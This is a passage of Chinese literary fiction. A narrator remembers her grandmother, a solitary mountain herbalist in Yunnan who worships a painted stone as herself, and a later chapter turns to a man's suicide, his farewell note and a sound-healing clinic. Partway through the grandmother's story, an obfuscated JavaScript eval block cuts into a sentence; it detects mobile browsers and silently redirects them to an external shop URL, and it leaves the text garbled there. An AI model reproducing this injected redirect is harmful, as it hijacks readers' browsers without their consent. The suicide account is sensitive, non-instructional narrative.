村子里,一个女人不嫁人并不常见。但也有一些顺理成章的例外。一是,被神仙选中,失了神志,成了半仙,能给人看事。不过这样的女人,和村里传统的师公不同,算另一种仙灵吧。而且村里人相信这样的能力有损于儿女健康,所以没有人敢娶。在婆婆之前,村里十几年前传说曾有一个鸟仙。她家里养着一群白鹇,会给人看祸吉姻缘。这个老人家最后变成一只鸟,进了林子,飞走了。另有,无论男女,良善家庭里生下来就有智力问题或者身体残疾的女人。她是为全村人挡灾的,所以村里人会你一口我一口地施舍,照看她们长大,护她度过一生。自然,她也是不必婚嫁的。 再有一种例外,就是上山采药的女医生了。她们可以选择嫁人,但如果过了年岁仍不嫁,村里人就默认,她们一生不嫁了。她们认得山上的草药,擅长治疗跌打损伤、风湿、蛇虫叮咬。山区里的人最常得的就是这类病。这样的女人很能干,但成天往林子里跑,有时还会在山林里住几晚。有些人家会觉得,她们身上带了一点山神的魂、动物的灵,心存忌惮或是心有敬畏,不敢轻易娶进家门。 很少有女人从年纪小时就主动学医,我婆婆是个例外。她小时候死过又活过来的那次,醒来后,忽然变了一个人,吵着闹着要进山采药。谁都拦不住她。村里老人回忆说,当时,这个小姑娘不过六七岁,力气却像个成年男人,谁拦,就会狠狠地甩开谁,甚至一个高大的男人都被甩出了他个子那么远,直接趴倒在地。师公说,不拦了,随她去。大人在身后跟着就是。她一直往前走,走入平时人们很少去的山林。大人们也不敢再跟。只有她阿娘,奋力跟上去,最后也在陡峭的山路里跟丢了。 孩子是两天后才回来的,毫发无伤。家里人已经做好了最坏的打算,哭成了泪人的阿娘从床上爬起来迎接,站不稳,摔伤了腿。女孩手里带回来的草药,刚好能治她的伤。 在这之后,家人似乎认了女儿要走这条路。村里人也对女孩莫名多了一份特殊的情感。? 女孩逐渐长大,采药、治伤的本领越来越。她十几岁就可以帮人治腿伤,再后来是腰伤、蛇毒、女人的月子病。 采药人,在村子里有一些特别的豁免权。这要从久春山兰花的消亡说起。 久春山的山阴处,过去盛产兰花。兰花生长在潮湿幽暗的地方,山阴处有一条山泉,滋养出一些少见的兰花品种,像红柱兰、兜兰。兰花根本不在意有没有人看到它们,自己看,自己香。一开始没有人了解这些兰花的价钱,是“价钱”,能卖给外地人多少钱。大家只是上山采菌时,会发现和菌子长在一起的兰花。有些人会挖一棵带回家养,大多时候养不活。你也知道嘛,云南人,任何好东西只要和菌子摆在一起,人们肯定更在意菌子。所以,长期以来,山里人和兰花可以好好相处。 不知从什么时候起,村里来了几位做兰花生意的外地人,他们全国各地走,寻访兰花,找着找着,就找到了久春山,发现了这里的罕见兰花。一时间,到久春山来做兰花生意的人一下子多了起来,乌央乌央的。一些人带久春山的兰花回去杂交,把培育出来的新品炒出高价。这引来了更多良莠不齐的商贩,恨不得把久春山翻个遍。山阴处没了,甚至会去山阳处找,哪怕山阳处根本就不产兰花。兰花是不可续的资源,疯狂地挖几年,就没有了。山间、河边、密林,兰花几斤灭绝。 这也不过是几十年前的事。大自然给久春山一带的人们上了一课,人们吸取了这一次教训。婆婆说,从那时起,村里人流传着一个说法:山里的好东西是不应该流通的。就像那些兰花,生在山里,就应该在山里。强行把它卖到别处去,是会遭报应的。 村民也会严控进山的人。能大大方方经常进山,尤其是进密林的人,只剩下了采药人。婆婆就是其中之一。 婆婆的采药师傅是那位救了他的老苗医。老苗医喜欢带着他的老婆一起进山。采药,也采野花野果。野花扎在老婆头上,野果子喂给老婆吃。后来他们带着婆婆一起去,也分野花野果给她。这对夫妻有一次进山采药后,再也没有回来。那时他们已经有些年纪了,之前并未听说有什么大病,去的时候,天气也还好,并非是遇到了意外。村里人起初觉得,他们是遇到了什么山兽。这让敢进山采药的人更少了一些,本来想学医的一、两个年轻人也打起了退堂鼓。但婆婆坚持认为,他们的德积够了,山神接他们回家了。 婆婆没有害怕,之后还是会时不时进山找药。 采药人出门采药,遇到野生草药,都会记下这个地方,留下它们继续生长的根,或将种子剥下,洒在附近,让它来年继续发芽。比如去采鸡脚黄连时,入药的部分是根和茎,她只会在它们结果子时采摘根茎,并且把果子洒在原地,让它们生根繁衍。如果要割树皮入药,就只切一小片,这样树依旧能生长。山里的草药不少,石斛,当归,黄连,重楼、砂仁、茯苓......有时候婆婆会采到龙胆草。深山的龙胆很珍贵,婆婆会用它的花泡水喝,跑出来的水是蓝紫色的,很好看。 苗医夫妇走了之后,婆婆进山采药时,会带一只狗,是她养的大黄。不知为什么,在她需要一个人进山的时候,这只狗就出现了,或许是从隔壁村子里跑来的,但我觉得,大概是山神给的吧。它的尾巴特别大,像一只巨大的狗尾巴草,所以婆婆叫它“毛毛花”。 毛毛花名字很秀气,实际上它是一只村霸。它虽然来村晚,势力却很大,大概是靠力气和天赋打出来了一番天地吧。每次,只要婆婆一叫毛毛花进山,毛毛花就会叫上村子里其他三、四只狗,一起送婆婆进山。狗都是精壮的,我怀疑毛毛花选过。山林浅处,这些狗会一起跟着婆婆,到了深处,其他人家的狗就自己回来了,只有毛毛花跟着婆婆进去。 回来的狗子们,沿着山林里的蛇形小道,溜达着回家。人们看到它们,就知道婆婆又进去采药了。过几天,如果村里人身上有什么不舒服的病症,就能去找婆婆问药。婆婆身形不大,一个人进山,往往是看不到身影的,有了毛毛花和其他狗子们,她的行踪变得不再隐秘。她因为被看见,逐渐被信任,最后,成了全村人信赖的乡村医生。 婆婆说,这其中有毛毛花的大功劳。 毛毛花活得很久,也有婆婆带它进山吃草药的原因。毛毛花有一个爱好,喜欢吃仙人掌的果子。但山里阴湿,仙人掌长不大。婆婆就在自家的屋顶上养了很多仙人掌。它们不要土,也不要太多水,有个合适的太阳多的地方就能长。大门顶上就长着仙人掌,像给大门戴了一个皇冠。它结出的果实,就是皇冠上的珍珠。所以我小时候,叫毛毛花珍珠。它是吃珍珠长大的。 婆婆带毛毛花进山,却不带我进深山,不教我认药。采药人,要有那个命,她说看过了,我没有。不过她会讲一些有趣的事情,比如,有些草药分公母,功效不同。她还相信一些药草会跑,就像东北的人参一样。据说东北的参农看到了人参之后,会用红线把根须小心地系住,之后才敢慢慢地一点一点地挖开。婆婆说云南深山里也有会跑的草药。她如果见到它们还没有长大,或只有一两株,采完恐怕不会再长,就会放过它们。但她会叮嘱它们,快点长大,如果跑,不要跑太远,并且用自己的办法留一些印记,比如一块她自己认得的大石头,或是随身带的旧布条。布是自己染的,过多久,她都认得。 毛毛花后来有一个儿子,是一只毛发油亮的小黄狗。九个月的时候,它就能长到和它阿爹一样大了,而且比它啊爹啊娘还聪明。它叫毛毛草。一岁多时,已经代替毛毛花,变成村子里土狗们的老大了。婆婆把毛毛草送给了村子里一户四世同堂、福气很好的人家。她没有带毛毛草进过山。她算过,她的命,只能带好毛毛花。 毛毛花老死不久之后,婆婆也“被山神接走了”。 过去,村里老人家年纪到了,会给自己把脉,或者告诉家人,自己看到一种东西,或许是一团雾?或是死去的亲人们?我们这些小辈,并不了解他们是怎么知道,怎么看到的。这样的时候,老人家会就开始安排后事了。比如,阿奶们会收拾好自己的嫁衣,通常是自己从姑娘时就开始绣的嫁衣,喜欢的银镯子之类的首饰,放在一起,嘱咐孩子一起埋。子孙会举办一场体面的丧事,将老人埋入祖先选好的那片风水林,三年后,再请师公作法,把老人的灵魂请回家中供奉。这是一套最常见的流程。 也有一类特别的人,他们会自己往山里走,因为他们“听到了山神的召唤”。这是自己把到死脉的另一种方式吧。他们相信,山神会收人,他们只需要走,山神会让他们停在应该停的地方。村里后山的有片林子,比风水林还要远,隐藏得更深,通常人们不会靠近。它就是这类老人家会去遇见山神的地方。村里人认为,长寿的老人,或是造福村民的采药人,会得到召唤。这是一种体面的死亡方式。 婆婆是看山上的云知道自己要走的,像山里很多老人那样,不知道她们具体看到了什么,就能断定自己寿数将尽。和她们平时看云彩知道天气,大约是同一种道理吧。但认天气是每天都要做的事,认寿数,一辈子就一次。不知道为什么她们可以认准。她们总是和山很亲近,兴许,是山上的云真的告诉了她们什么。山在那里,日子就是安定的,即便有一天山告诉她们,要面对死亡,走进来吧。她们也会接受。 婆婆和他的师傅一样,自己走到山里去了。 那时,已经没有毛毛花了。所以村里人不知道。 她这辈子治好了很多人的病。当村里人后知后觉,他们像当年婆婆解释那对采药人夫妻不再回来的说法,说“山神把她接回去了”。 在她之后,村里就没有采药人了。 久春山山林最深处的村子,2006、2007年左右,还都尚未通电。那时我已长大了,每次从石梓镇上回去看婆婆,都要走一条漫长的路。如果遇上风雨天,还会有山体滑坡,或者树木倒塌拦路的情况。回想起来,很不方便,也有些危险。大概是2014年前后吧,那座村子被划入久春山生态保护的红线区域,政府组织居民搬迁,统一从深山里往山外走。村民愿意搬,他们愿意把村子还给山神。搬下来的平坝上,有新建好的新村,各方面条件都不错。村里配了卫生所,感冒、发热、摔伤、蚊虫叮咬这类小病,都可以在这里得到治疗,镇上的医生还会定期过来巡诊。有一家国企药厂在新村不远处建了个数字化的药材培育基地。婆婆过去采过的一些药材,现在有了人工培育的方式。 但严格来说,这不是婆婆和我的村子。村里人搬出来的时候,婆婆已经走了,她的院子和房子已经空了几年。藤、蕨,在院子里生长,连同院子里的树和房子,牢牢地长在一起,像一个被封印住了的盒子。我知道,我再也打不开那个盒子了。它,和婆婆,和森林,和山神融为在了一起。婆婆,也成了村里老人们口中的传奇。 02 她是有人供奉的神 村里人说,婆婆被山神收走了。但她本身,也是‘神’,自己的神。 这是我婆婆自己说的。我记得,婆婆把家里神龛上红布掀开那天,我震惊得脸上的肉都飞了,她只是很平和地跟我说,“你在这个世界上可能会信奉很多神,但是这些神呐,你是见不到的,心中保有敬畏,不作恶就可以了。可是你自己呢,你可以天天见到,所以自己才是自己最重要的大神。” 所以,我的婆婆,她还是一个“神”。她是有人供奉的神,供奉她的人,是她自己。 婆婆家里有一个小的神龛,她会定期供奉,看起来像一个圆圆的大柚子,盖上了一个红盖头。因为婆婆采药有本领,村子里的人都默认,那可能是药神,或者是某一个只有采药人知晓的神仙,能保她采药安全、治病很灵的神仙。有病人来家里看到这个神龛,还会双手合十拜一拜。病愈后,病人来感谢,带点瓜果蔬菜,也会拜托婆婆放几个在神龛边,甚至以来就顺手放在神龛在的小桌上了。 我不记得这个神龛是什么时候开始存在的,我小时候,它就在了。我一直以为,红布里是一个很有灵通的神灵,一度很是畏惧。直到我长大,最后一次来看她--当然,是我不知道的最后一次,她知道的最后一次。婆婆把我叫到神龛前,我以为她会带着我拜拜,但她忽然抬起手把红布掀开。 那是一块圆圆的石头,上面用红漆,画了眼睛和一个弯弯的嘴,一张微笑脸。 我当时就被吓到了。 “这是我自己。”婆婆一本正经地说。“我供奉我自己。我当自己是自己的神。”说罢,她就爽朗地笑起来。 她真的好厉害啊! 我现在回想,她经常在神龛前放一些水果,之后洗一下,自己吃,或者拿给我吃。这也没什么,毕竟,老人家总说供果是可以吃的,神灵享用过了,凡人吃下去反而有些助力。有时候她会炒一些腊肉。炒好之后,放在神龛前,让它凉一凉。我以为也是给神灵的,不敢吃。可她路过就会用手捏一块肉吃。可能,真的只是晾一晾吧?毕竟,本身就是供奉给自己的。 但怎么说呢,如果,她在我更小的时候告诉我,我一定不会惊讶。因为如果我不是一个高中生,还在上小学,甚至更小,我一定会相信她,我会是全世界拜那块大石头拜得最虔诚的人。因为我婆婆的确像“神”,或者说,她一定有魔法。在一个小女孩的眼中,那就是魔法,她就是一个神。 小时候我被一个男同学欺负,她从厨房找了一些烧过柴火留下的木炭,喊我捡几片广玉兰的叶子,说越大、越干净、越油亮越好。她拿木炭在我捡回来的叶子上写字,让我当这些是咒语,只要好好保存,叶子不碎,咒语就会仙灵。我一直很宝贝这些叶子。那时候很小,并不知道婆婆用木炭些了些什么。长大后,我意外地在老房子的房梁上看到一个篮子。篮子取下来,一堆风干很多年的广玉兰叶子,竟然还残留着黑字。 其中一片叶子上写着:包栎以后会哭的--是那个欺负过我的小男生的名字。 那时,外婆问我,你现在会被什么诗?你们课本上的。我来教你念咒语。 于是,我有了很多咒语。 小荷才露尖尖角,白栎哭成冤大头 故人西辞黄鹤楼,白栎哭成冤大头 草长莺飞二月天,白栎哭成冤大头 ...... 我觉浅,睡不好,她给我做过一个橘子皮枕头,用晒干的橘子皮做了一个碎片包,塞进了枕头里面。她应该攒了很久,橘子碎里混着一些干萱草,用不漏沙的布缝了两层。那味道有点像菊花,清淡,持久。我小时候就是枕着这种味道长大的。我后来问过一个学中医的朋友,萱草,其实没有什么特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294812|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出众的安眠功效,不知为何婆婆会想到塞它。我刚工作时做文员,对着电脑一坐就是一天,肩颈很快就疼。买各种类型、贵的、新潮的枕头,甚至买过很多特产,比如荞麦枕、黄花菜枕头,仍然不舒服。有一天,我忽然意识到,我想要的是一种味道,橘子皮萱草味的枕头。但这种枕头买不到,我只好自己做。 勉强做好之后,我真的可以睡着了,婆婆的魔法,还在显灵。是啊,我已经是个成年人了,可却还是陷入了婆婆的神力。她好好生活的功夫,怎么就不是神力呢?这是一种大神功啊。 婆婆不带我进深山,但村里很近的后山,我们经常上去。我认识很多可以吃的野菜野果。黄桑葚,味道有一点点像甜的山楂。八月瓜,我们也叫八月炸,样子像紫色的小芒果,味道呢,有点像香蕉。现在石梓镇上还有昆明街头都有人卖。我买过,不知道是不是心理原因,总觉得味道变了。以前野果子咬一口下去,嘴巴里就有薄荷的味道,清鲜,有点冲。现在,这种味道淡了不少。我记得八月瓜和野核桃差不多同一个时候能找到。八月瓜还能治跌打损伤、风湿骨痛。村里人摘了八月瓜,会拿过来请婆婆加点其他草药捣成浆糊,敷在腿上。所以我对八月瓜,总是觉得很亲切的。 山里的松果落了,我们捡了,放到太阳底下晒干,用木槌打,松子就会蹦出来。松子会先泡一遍水,瘪掉的、空了的会浮起来,收起来丢掉,沉下去的果实饱满,可以放到火里烤,香气诱人。吃这种闷松子,和吃桑椹一样,会弄得满手都是颜色。手上的松油黏在手上,小手黢黑,像糊了一层油,黏黏的,很难洗掉。 还好,我很早就用上了洗手液。婆婆用无患子的果肉和果皮做的,装在一个浅黄色的陶罐子里。老人说,打鬼要用无患子的树枝。家里有什么治不好的小病、解释不了的怪事,一是用柚子叶蘸水四处拍打,二是用无患子的树枝四处拍打。无患子树在村后的小树林里很常见。落果子了,婆婆就带着我去捡。捡的时候还是黄色的小圆果子,到陶罐子里就成了带着泡泡的滑滑的水。果子捡多了,就晒成干果子,窜起来做手串。她有时候会把这些手串,连同八月瓜、野核桃等一些山货,送到外面的村子上去卖。每个月一两次,走十多里路。采药治病,可以养活她一个人。但养活我,她就需要背着山里的东西去镇上卖。她去集市卖山货,山货没有香气的。她就把其他带香的花草挂在背篓上,人们会闻着过来,买走一点其他的什么东西。长大了之后,我才意识到婆婆的不易,她是一个多么厉害的女人啊! 婆婆的小院,房前屋后也种了许多花草。院子里总是有各种味道,各种植物花草混在一起的味道,我不懂的味道,离开后就再也找不回来的味道。消失了,却越来越浓烈。我长大后,有次买了一个松木花架,松木的味道非常非常浓。我很久没闻到木材本身浓郁的味道,一下子勾起了很多回忆。 院子里有鸭拓草,可以治发热肿痛,但婆婆用它当染料。那时候的老人家都会用植物染布。鸭拓草的颜色没有那么深,晾晒之后,看起来像地面上青草的颜色,不经洗。所以染完了,她用来当铺桌子椅子的桌布。人在上面吃饭,有坐在草地上的感觉。我记得她喜欢用紫苏炒鸡蛋,用花椒叶拌土豆泥吃、用马齿苋做包子。以前盐比较稀罕,老人们就用折耳根、木姜子、酸木瓜之类的植物调味,婆婆喜欢用山盐青。它是一种草药,带咸味。还有苦菜,不太好吃,她却常吃。 说起来,这也是婆婆的缺点了。她不嫁人,所以不必花心思做饭。只要她自己喜欢,自己能吃,就完全不考虑别人喜不喜欢。她带我长大,差不多就是靠着各种水煮菜、蒸菜,加上烤洋芋和烤豆腐之类的简单食物,很像现在年轻人流行的减脂餐。好在山里的果子、叶子颜色总是很鲜艳,所以看起来样子好看。她喜欢做白的黄的橘黄的青绿的樱桃红的五颜六色的菜,用芭蕉叶子盛果子、找红色的朱焦叶放烤洋芋。紫红色配金黄色,很好看,但吃起来,就真的一般了。不好的味道,好看的颜色,这些,我如今都很怀念。 院子外,走几步,路上会有几棵柿子树。柿子树在久春山不必等到十月,九月就熟了。结果子的时候,每家每户都能分到许多。婆婆会做柿饼。脆的还没有成熟的柿子,颜色比帘子的颜色绿。削掉皮,用棉线穿过柿子梗,分开间隔窜成窜,挂起来。不能从果子里穿,不然那些地方会发黑。柿饼做好了,挂在太阳能晒到的屋檐下,吃粥的时候吃,平时嘴里没有味道了也会抓来吃。然而,我每次都吃得很少,像小老鼠偷灯油那样,一小口一小口地咬,一个小柿饼,吃得像一个大饼子。所以,我和婆婆总是分着一个吃。婆婆说,柿子之所以甜,是因为存够了光。 我长大后,刚从云南到江苏工作时,自己住,有点害怕。我就把房东原来的旧窗帘取下来,换了柿子颜色的窗帘。那时网上流行叫“爱马仕橙”。对我来说,它就是柿子的颜色。挂上它,我就不怎么害怕了。 婆婆的神力,我后知后觉,总是长大了,受苦了,才渐渐懂得。人长大了喜欢抗事,嗓子疼这类小病,我总是习惯扛过去。我三十多岁时,有次嗓子疼,忽然想起我小时候喉咙痛时,婆婆会找火炭母给我做药。小时候,我一直以为那是一位神仙嬢嬢,其实,神仙嬢嬢,就在我身边啊。 婆婆就是神仙。我小时候的记忆,如今回顾,像一场梦。她走过一片荒地上,荒地就长出各种植物、花草和药草,一切变得鲜活。婆婆一辈子从未走出过那座山,那座小村子,却很会生活。即便她大多数时间一个人--一个大人,一个女人--生活,也可以过得不错。她能用各种不用花钱的东西,把生活填补得满满当当。缺什么,她就采到什么一点回来, 我想,这就是她的神功,也算是她的“信仰”吧! “信仰”,二更跟着林檎的讲述,思绪停在了信仰这个词上,像只蝴蝶,久久不愿飞走。 二更很久没有听人提到“信仰”这个词了。它总是高大遥远。然而,在黄缅桂婆婆的故事里,神、信仰,日常得像热腾腾的饺子和面。 她想起某次,无意间走入一个昆明的老街区,一家小吃店门口的惠民座椅上,有个老人家坐着休息。她很显眼,因为她戴了一顶红军帽,上面绣了个非常鲜明的红色五角星,老奶奶还披了一个红色的小披肩,与头顶上的五角形彼此辉映。大概,五角形就是老人的信仰。多么幸运啊,她成功了。她想要的那个新世界,如今就在眼前。她坐在那里,看年轻人们来来往往,脸上总是笑眯眯的。她的信仰实现了。她赢了。 是可以相信童话和创造童话的年纪了,入春之前老延的那句话,适时地闪回。 又一次,在石栗村,日落了。 夕阳把天空映得多变,在很短暂的二三十分钟里,火烧云会绚烂,之后紫红,蓝紫,然后变成蓝调,从最开始的浓郁到后来的暗中带一丝通亮。这些光彩,依次笼罩着苦糖果这间小院。歪脖子滇朴上陆续开始落下一些小麻雀。树只要活着,就愿意接纳来客。再旁边一点,角落里一棵红花槭的休眠芽已萌发。再远一些,村外山林里的柏树正长出金黄色的新芽,油亮得如一朵朵鸡油菌,看起来金灿灿像假的,实际却是真的新生命。 “婆婆走的时候,我在外地上学,没能及时赶回来。”林檎望着最后一抹霞光,幽幽地说。“我从来没有一次梦见过我婆婆。这很奇怪。温姐告诉我,老人不入梦,是太爱我,怕我惦记。但我想她啊。我想她的时候,做过五彩斑斓的梦。 不知哪里的田野上,不知是那个巧手的人,绣出了很多神奇的花。田野不是翠绿的,而是婆婆用鸭拓草染出的那种青草色。我每次想走进去,就会醒来。那里彷佛是一个我无法踏入的地方,但美的很,就算在外围,我也觉得很美。它就像我小时候在镇上小学门口门市部里看到的那个玻璃球玩具,得不到,摸不到,但看到时就会很快乐。 日子久了,孩子气的回忆少了,我也人到中年,后知后觉地回忆起一些事情。 许多许多年前的一个深夜,我醒过来,看见婆婆在缝扣子。夜深了,她把柜子里放最顶层的厚衣服拿出来,给它们缝口子。那晚,她缝了很久。现在的我,忍不住去猜测,那晚,或许她有什么烦心事。我小时候记住的婆婆的人生都是美好的。但在那个物资匮乏的年代,她一定面对过许多艰难,忍受了很多苦事,只是,没让这些在一个孩子的记忆里留下什么痕迹。 她不仅是她的神,也是我的神。 她叫黄缅桂。还是姑娘的时候,大家叫她阿桂,后来是阿桂姨、阿桂婆婆。她从来没有变成过阿桂嫂,或是阿香的娘。 她人生中的大多数时间,都是一个人生活,一个人养育我,一个人进山采药,一个人给人治病。但她不寂寞。一个人好好生活,应该,就是她的“信仰”吧?你说呢?” “供奉自己,信仰自己,是比今天流行的‘好好生活’,‘爱自己’这样的话,更彻底。”二更感慨道。尤其是,现在的你我他,赶上了国泰民安的时代,信仰自己,也是一种很好的信仰。 就像缅桂婆婆那样做就好了。平时怎么供奉神明,就怎么供你自己。要知道自己喜欢什么,不喜欢什么,不违背自己。供奉一个健康、正直、善良的自己,供奉一个与人为善,好好生活的自己,在任何恶意的诋毁面前,都不要怀疑自己、责怪自己。做自己的信徒,每天都对虔诚地起到,“你要好好的,任何人不喜欢你都没关系,我全心全力供奉你。” 这不难。二更决心,从今天起就开始如此试试。 一时想得太入神,手中的茶已经凉了,二更感受着一种清凉的触觉,忽然产生了另一个念头,“大石头?” “什么?” “缅桂婆婆供奉自己的,那个柚子大的石头,后来如何了?” “哦,它呀?”林檎给二更换了一杯热茶,“我刚才不是提到,老村子搬出来了吗,新来的药企在村外开了好几块试验田。试验田有一块友谊碑。立碑的时候,请村里各家各户出一块石头,一起垒起来。” “大石头......就在里面?” “对啊。老实说,我都忘记了。但村里一个被婆婆治好了腿伤的孩子,帮婆婆留了它,留了很久”,林檎对此很是欣慰,继续说道,“后来,它总算是到了一个对的地方。婆婆肯定是愿意的。” 10. 第七课(上):罗望子 任声浪汹涌 晚春,昆明迎来一场雨。 石房子的展览步入正轨。康定杨“日光下的隐士”长期在展,梅蓝的“好好吃饭小饭桌”画展正在展出,温郁金&姜籽的“苦糖果”猫咪小画展已开始筹划进场。一切井然有序,三人都得了些空闲。姜籽告假,随姜兰外出访亲。二更也无他事。老延小院的二楼,最近被二更用成了高中自习室一般。这里通常很静,无人打扰,她可以一个人在这里听雨声滴答。 侧窗,可以看到外面一条路。路边停着七七八八的电动车,约好似的,置物箱后挂着毛绒娃娃、小企鹅和小熊。它们都被雨水打蔫,有些心脉受损的样子。 从昨天开始,老延的小院里弥散着一种瘀滞的沉重。老延的一位好友近日遭逢变故。36岁的女婿,从自家26楼的连廊处一跃而下,撇下妻子与一对儿女,决绝而去。 女婿自绝之前,曾有过两次心理咨询的记录,主诉自己的痛苦来自不幸的婚姻,尤其是妻子和他争吵时的声音。对他来说,那是“一种巨大的、残酷无比的摧残”。这种声音会被他在脑海中无限放大,达到一种极致的尖刻,在耳中反复循环。这不仅严重影响了他的睡眠,更像是除不尽的河中水草,死死抓住他的四肢,缠绕他的心智,直至如水鬼一般,将他彻底拖入深渊。 男人留下了一封遗书,也可作为这份痛苦的旁证。 “我家在26层,正好可以看到隔壁小区的花园。那是一个老校区,六、七层高的楼,楼顶上布满排列整齐的太阳能热水器的集热板。白天看,这些太阳能集热板总是时不时反射刺目的光,偶尔还能看见几个在楼顶上晒床单的人。床单的颜色杂七杂八,不知道她们用了什么办法,从来没有一条床单飞走。楼顶上,清晨有一对中年夫妻打羽毛球,无论多冷,她们都会出现。下午一点时候,有老人上来晒背。 我之所以这么清楚,是因为这两三年来,每次我老婆与我吵架,我都会对着这个小花园看很久,发过很久的呆。我无数次想过朝着它跳下去。 我的婚后的生活,好像一个......一个死掉但看起来还活着的盆栽。我见过办公室同事桌上有时会摆一些经过风干处理后的干花,一般能长期保留过小半年,已经干掉了,还保持了紫色,据说是叫勿忘我。销售部常年摆着干了的大麦。这就是我现在的状态,死得透透的,看起来还活着。 最近最开心的一件事,就是看到隔壁小区有个老头出轨被人打了,整个小区的人都来围观看热闹,很多人都扒着窗户看。我有一瞬间,比较放松。我为什么会变成了这个样子呢? ......” 警察调取了监控录像,他自绝当天最后一段影像,是从外面回到家楼下的楼栋大厅,摸了摸大厅里被疏于照顾的蔫吧了的植物。之后,他爬上26层连廊,结束了生命。 女婿出了事,丈母娘心情复杂。事情上了本地媒体的新闻,报虽道隐去了小区和当事人信息,但防不住附近居民口口相传。一家人饱受非议,索性各自离家,散着住,躲一躲。于是,丈母娘借住在了老延小院的客房里。 “人怎么会因为听见老婆的声音就痛苦得跳楼呢?”一连几日,小院里回荡着她的仇怨。 二更没有参与这个沉重的对话。那位女婿和她恰好同岁,这么年轻的人如此痛苦地离开这个世界,她很是难过。他必然遇到了一时难以承受的困境,反复爬,也没有爬出来。 老人心思平定后,昨日搬走,留下细雨嘀嗒,仍敲打着些郁结的残念。 老延上楼,递给二更一个淡紫色的信笺。这是一家声音疗愈机构的邀请函,是老延特意为朋友找来的。“但她不要,你感兴趣吗?” 这份邀请写得情真意切,“作为一家声音疗愈机构,希望为饱受声音噪音困扰的人们提供帮助,向公众普及声音疗愈。” 浪费了,真可惜。二更看了看地址,这家疗愈机构离翠湖很近,就在圆通街通向翠湖的那道长长的下坡路旁边。这地方她时常路过,却从未留意原来斜坡上树林掩映处,竟有一处未知的声音疗愈所。 01 啤酒罐在日光下叮叮当 二更拨出邀请函上的电话,表示要去拜访,对方十分激动,为表尊重,特意派出了一位司机专程接送。 “不必了吧”,二更不好意思。 “必须要接的,您是我们的第一位客人。”对方是一位声音很好听的女士,说话慢条斯理,甚至带着一丝清甜,听起来年纪不大。她自我介绍,自己叫黎檬,是这家声音疗愈所的负责人。 当日下午,黎檬的特派司机抵达老延的小院门口。一位壮实的大汉,胖乎乎的,身材很有威慑力,好在面容憨厚,笑嘻嘻地在门口等着二更,像动漫画里值得信任的海豹先生。他身后的小卡上写着“搬家”两个大字。怕二更心有怀疑,他从兜里掏出来一堆证件,包括身份证、退伍证、厨师证,还有搬家公司的工作证。 “请上车吧!”青年名叫金琥,说话有一点点轻微的大舌头,这加重了他给人的憨厚印象。 “您以前当过兵”,二更问。 “是啊,不像吗?” “不是,像的,”二更有点不好意思地笑笑,她其实在想,哆啦A梦里的胖虎如果当兵,会是哪一个兵种。 “炊事兵嘛!炊事兵也是兵啊!我做饭可好吃了!”青年爽朗地笑起来。“退伍后,就做搬家公司了。我和老罗也是因为搬家认识的。” 老罗这个名字突然出现,二更有些摸不到头脑,一时没再搭话。金琥觉察到二更的疑惑,解释道:“咱们要去的,是老罗过去的家,老罗已经去世有段时间了。那里现在按照她的意愿,变成了黎医生的声音疗愈所。” 看来,老罗,罗望子的故事,就是这家疗愈所的前传。 “我和老罗,比和黎医生熟悉得多,也认识得更早。我刚做搬家公司不久,就接了老罗的单子,帮她从滇池边的别墅区,搬到翠湖边的这栋房子。”金琥说。 二更坐上副驾驶,车开动了。 七年前,老罗就坐在二更此刻坐着的副驾驶座位上。 搬家货车的副驾驶座比普通轿车的视线更高。看一路春城的草木,像戴了3D眼睛似的,面前的挡风玻璃都被绿色填满了。那是三月底,樱花、海棠是春城的主角,阵阵粉色如同毫无心机的少女,笑盈盈地朝着老罗迎面扑来。罗望子真切地感受到了树。树荫打到脸上,花色镀到身上,像下了一场没有声响的雨,润泽,全在眼皮和心上。 金琥是个话痨,见了面,觉得对方面善,就总想唠几句。而罗望子很安静,不爱说话,连呼吸声都很轻。然而人生的拼图是很神奇的,金琥凸出来的某个可爱的小犄角,罗望子恰好能接纳。 当时,金琥驾驶座上有一个口琴,老罗一上车就发现了。两人的对话,竟是罗望子先开了口。老罗问金琥,是不是会吹口琴,一会儿搬完家了,要不要在家喝口水,可不可以吹吹口琴,好久没听,很是怀念,一两首简单曲子就行。 金琥一口答应下来。他对老罗挺有眼缘。老罗是抱着一只风筝上车的。风筝好看,是一面古典风格、蓝黑色系的纸鸢。老罗东西不多,据说,是旧房子连带着家具都卖了,新房里安置了新的,只需要搬些日用品和个人衣物,火车厢绰绰有余,尚未塞满。 金琥帮人搬家时,大多数人会把家具、衣物、杂物放在后面的车仓,自己抱着最宝贵的东西坐在副驾。他见过抱猫抱狗的,抱着斗鱼、蜥蜴的,还有人抱过一条窝在饲养箱里的小青蛇,虽然有点吓人,也怪好看。老罗不一样,抱了个风筝。细看,不止一个,是两个,中间小心地用泡沫纸隔开。风筝在人怀中,也金贵得像个娃娃。 “喜欢放风筝?”金琥问。 “对”。老罗答。一个字,就结束了。 金琥的性子,自然不会让话题冷下来,他接着聊下去,“我小时候也喜欢。我记得春天,就这样的天气,上午爷爷带着我在路边卖西瓜,下午三、四点,带着我去放风筝。现在小孩的风筝似乎都是那种迷你风筝,只有一点点线,飞不高,只能过个瘾。还是老头们放的风筝好啊,长长的线,都要上太空了。” 老罗回应,“云南风大,好放风筝。” 